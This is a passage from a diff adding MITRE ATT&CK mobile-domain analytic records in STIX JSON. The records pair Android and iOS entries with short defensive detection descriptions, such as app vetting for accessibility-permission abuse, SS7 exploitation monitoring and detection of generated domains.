[ + { + "x_mitre_data_component_ref": "x-mitre-data-component--56c2b384-77f8-461f-a71a-76f7888ebfb6", + "name": "User Interface", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--085c9205-d55a-4e33-a5df-241e505be32f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0658#AN1747", + "external_id": "AN1747" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1747", + "description": "The OS may show a notification to the user that the SIM card has been transferred to another device.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--bf0ff551-a5a7-40e5-bff9-f9405011b1f4", + "name": "User Interface", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4ce71d01-ba3b-4ed2-a615-766daa0ff144", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0658#AN1748", + "external_id": "AN1748" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1748", + "description": "The OS may show a notification to the user that the SIM card has been transferred to another device.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--bf0ff551-a5a7-40e5-bff9-f9405011b1f4", + "name": "User Interface", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7247d454-c307-417a-90c7-a15452d0d83e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0659#AN1749", + "external_id": "AN1749" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1749", + "description": "No standard detection method currently exists for this technique.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--332065d4-9895-485b-8674-756f4d3fab7c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0660#AN1750", + "external_id": "AN1750" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1750", + "description": "Application vetting services could look for use of standard APIs (e.g. the clipboard API) that could indicate data manipulation is occurring.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--8c29fa0f-6b35-40c2-9c99-081a0997db86", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0661#AN1751", + "external_id": "AN1751" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1751", + "description": "Application vetting services can look for applications requesting the `android.permission.BIND_ACCESSIBILITY_SERVICE` permission in a service declaration. On Android, the user can view and manage which applications can use accessibility services through the device settings in Accessibility. The exact device settings menu locations may vary between operating system versions.\nOn Android, the user can view and manage which applications have third-party keyboard access through the device settings in System -> Languages & input -> Virtual keyboard. On iOS, the user can view and manage which applications have third-party keyboard access through the device settings in General -> Keyboard. ", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--b1e0bb80-23d4-44f2-b919-7e9c54898f43", + "name": "Application Vetting", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--56c2b384-77f8-461f-a71a-76f7888ebfb6", + "name": "User Interface", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7f8717e8-fea8-42db-b60c-c64375630685", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0661#AN1752", + "external_id": "AN1752" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1752", + "description": "Application vetting services can look for applications requesting the `android.permission.BIND_ACCESSIBILITY_SERVICE` permission in a service declaration. On Android, the user can view and manage which applications can use accessibility services through the device settings in Accessibility. The exact device settings menu locations may vary between operating system versions.\nOn Android, the user can view and manage which applications have third-party keyboard access through the device settings in System -> Languages & input -> Virtual keyboard. On iOS, the user can view and manage which applications have third-party keyboard access through the device settings in General -> Keyboard. ", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--b1e0bb80-23d4-44f2-b919-7e9c54898f43", + "name": "Application Vetting", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--56c2b384-77f8-461f-a71a-76f7888ebfb6", + "name": "User Interface", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b2120e89-a453-4575-8458-7700ea59f85a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0662#AN1753", + "external_id": "AN1753" + }, + { + "source_name": "CSRIC5-WG10-FinalReport", + "description": "Communications Security, Reliability, Interoperability Council (CSRIC). (2017, March). Working Group 10 Legacy Systems Risk Reductions Final Report. Retrieved May 24, 2017.", + "url": "https://web.archive.org/web/20200330012714/https://www.fcc.gov/files/csric5-wg10-finalreport031517pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1753", + "description": "Network carriers may be able to use firewalls, Intrusion Detection Systems (IDS), or Intrusion Prevention Systems (IPS) to detect and/or block SS7 exploitation.(Citation: CSRIC5-WG10-FinalReport) The CSRIC also suggests threat information sharing between telecommunications industry members.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "Network Traffic", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9bc8daed-e8ea-4c70-95bc-dcb2905b33d3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0662#AN1754", + "external_id": "AN1754" + }, + { + "source_name": "CSRIC5-WG10-FinalReport", + "description": "Communications Security, Reliability, Interoperability Council (CSRIC). (2017, March). Working Group 10 Legacy Systems Risk Reductions Final Report. Retrieved May 24, 2017.", + "url": "https://web.archive.org/web/20200330012714/https://www.fcc.gov/files/csric5-wg10-finalreport031517pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1754", + "description": "Network carriers may be able to use firewalls, Intrusion Detection Systems (IDS), or Intrusion Prevention Systems (IPS) to detect and/or block SS7 exploitation.(Citation: CSRIC5-WG10-FinalReport) The CSRIC also suggests threat information sharing between telecommunications industry members.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "Network Traffic", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ee4ce869-6b88-46f8-829a-9838f7607a8f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0663#AN1755", + "external_id": "AN1755" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1755", + "description": "Network traffic analysis could reveal patterns of compromise if devices attempt to access unusual targets or resources. \nApplication vetting may be able to identify applications that perform [Discovery](https://attack.mitre.org/tactics/TA0032) or utilize existing connectivity to remotely access hosts within an internal enterprise network. ", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "Network Traffic", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--764ee29e-48d6-4934-8e6b-7a606aaaafc0", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--6d2d8aff-7d23-40bc-bc29-54852baed5f1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0663#AN1756", + "external_id": "AN1756" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1756", + "description": "Network traffic analysis could reveal patterns of compromise if devices attempt to access unusual targets or resources. \nApplication vetting may be able to identify applications that perform [Discovery](https://attack.mitre.org/tactics/TA0032) or utilize existing connectivity to remotely access hosts within an internal enterprise network. ", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "Network Traffic", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--764ee29e-48d6-4934-8e6b-7a606aaaafc0", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b2ef244c-b230-4c2b-b0a6-070e5c376f32", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0664#AN1757", + "external_id": "AN1757" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1757", + "description": "Mobile security products can potentially detect jailbroken devices.\nApplication vetting services may be able to detect known privilege escalation exploits contained within applications, as well as searching application packages for strings that correlate to known password store locations.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", + "name": "Sensor Health", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f463fae8-5697-4539-b6c7-e67aadf81c73", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0665#AN1758", + "external_id": "AN1758" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1758", + "description": "Mobile security products can potentially utilize device APIs to determine if a device has been rooted or jailbroken.\nApplication vetting services could potentially determine if an application contains code designed to exploit vulnerabilities.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", + "name": "Sensor Health", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--1076f33e-a959-49b8-97a3-2edf0360fae2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0665#AN1759", + "external_id": "AN1759" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1759", + "description": "Mobile security products can potentially utilize device APIs to determine if a device has been rooted or jailbroken.\nApplication vetting services could potentially determine if an application contains code designed to exploit vulnerabilities.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", + "name": "Sensor Health", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3307605e-f2ac-4cfb-be12-5d880e1bfa11", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0666#AN1760", + "external_id": "AN1760" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1760", + "description": "Mobile security products can often alert the user if their device is vulnerable to known exploits. ", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", + "name": "Sensor Health", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--79897090-662d-4118-b73a-145f79e31829", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0666#AN1761", + "external_id": "AN1761" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1761", + "description": "Mobile security products can often alert the user if their device is vulnerable to known exploits. ", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", + "name": "Sensor Health", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--1f3c9114-ac86-4c1f-bb64-fb94d65ac78c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0667#AN1762", + "external_id": "AN1762" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1762", + "description": "Since data encryption is a common practice in many legitimate applications and uses standard programming language-specific APIs, encrypting data for command and control communication is regarded as undetectable to the user.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4b4a369c-35aa-4389-a218-2034fb043041", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0667#AN1763", + "external_id": "AN1763" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1763", + "description": "Since data encryption is a common practice in many legitimate applications and uses standard programming language-specific APIs, encrypting data for command and control communication is regarded as undetectable to the user.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--427fe5c7-1b91-4d71-ae2c-6840d128f0bd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0668#AN1764", + "external_id": "AN1764" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1764", + "description": "Application vetting services can look for the use of the Android `MediaProjectionManager` class, applying extra scrutiny to applications that use the class.\nThe user can view a list of apps with accessibility service privileges in the device settings.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--56c2b384-77f8-461f-a71a-76f7888ebfb6", + "name": "User Interface", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a088cd64-106e-4fe2-a004-5796c574cfd0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0669#AN1765", + "external_id": "AN1765" + }, + { + "source_name": "unit42_strat_aged_domain_det", + "description": "Chen, Z. et al. (2021, December 29). Strategically Aged Domain Detection: Capture APT Attacks With DNS Traffic Trends. Retrieved July 31, 2023.", + "url": "https://unit42.paloaltonetworks.com/strategically-aged-domain-detection/" + }, + { + "source_name": "Data Driven Security DGA", + "description": "Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019.", + "url": "https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1765", + "description": "Monitor for pseudo-randomly generated domain names based on frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) Additionally, check if the suspicious domain has been recently registered, if it has been rarely visited, or if the domain had a spike in activity after being dormant.(Citation: unit42_strat_aged_domain_det) Content delivery network (CDN) domains may trigger these detections due to the format of their domain names.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--764ee29e-48d6-4934-8e6b-7a606aaaafc0", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4cb75669-f88d-4374-be51-e4b99e22b64e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0669#AN1766", + "external_id": "AN1766" + }, + { + "source_name": "unit42_strat_aged_domain_det", + "description": "Chen, Z. et al. (2021, December 29). Strategically Aged Domain Detection: Capture APT Attacks With DNS Traffic Trends. Retrieved July 31, 2023.", + "url": "https://unit42.paloaltonetworks.com/strategically-aged-domain-detection/" + }, + { + "source_name": "Data Driven Security DGA", + "description": "Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019.", + "url": "https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1766", + "description": "Monitor for pseudo-randomly generated domain names based on frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) Additionally, check if the suspicious domain has been recently registered, if it has been rarely visited, or if the domain had a spike in activity after being dormant.(Citation: unit42_strat_aged_domain_det) Content delivery network (CDN) domains may trigger these detections due to the format of their domain names.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--764ee29e-48d6-4934-8e6b-7a606aaaafc0", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--bfa12b75-13ab-409f-8fe9-a93c8bcac466", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0670#AN1767", + "external_id": "AN1767" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1767", + "description": "Many encryption mechanisms are built into standard application-accessible APIs and are therefore undetectable to the end user.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": 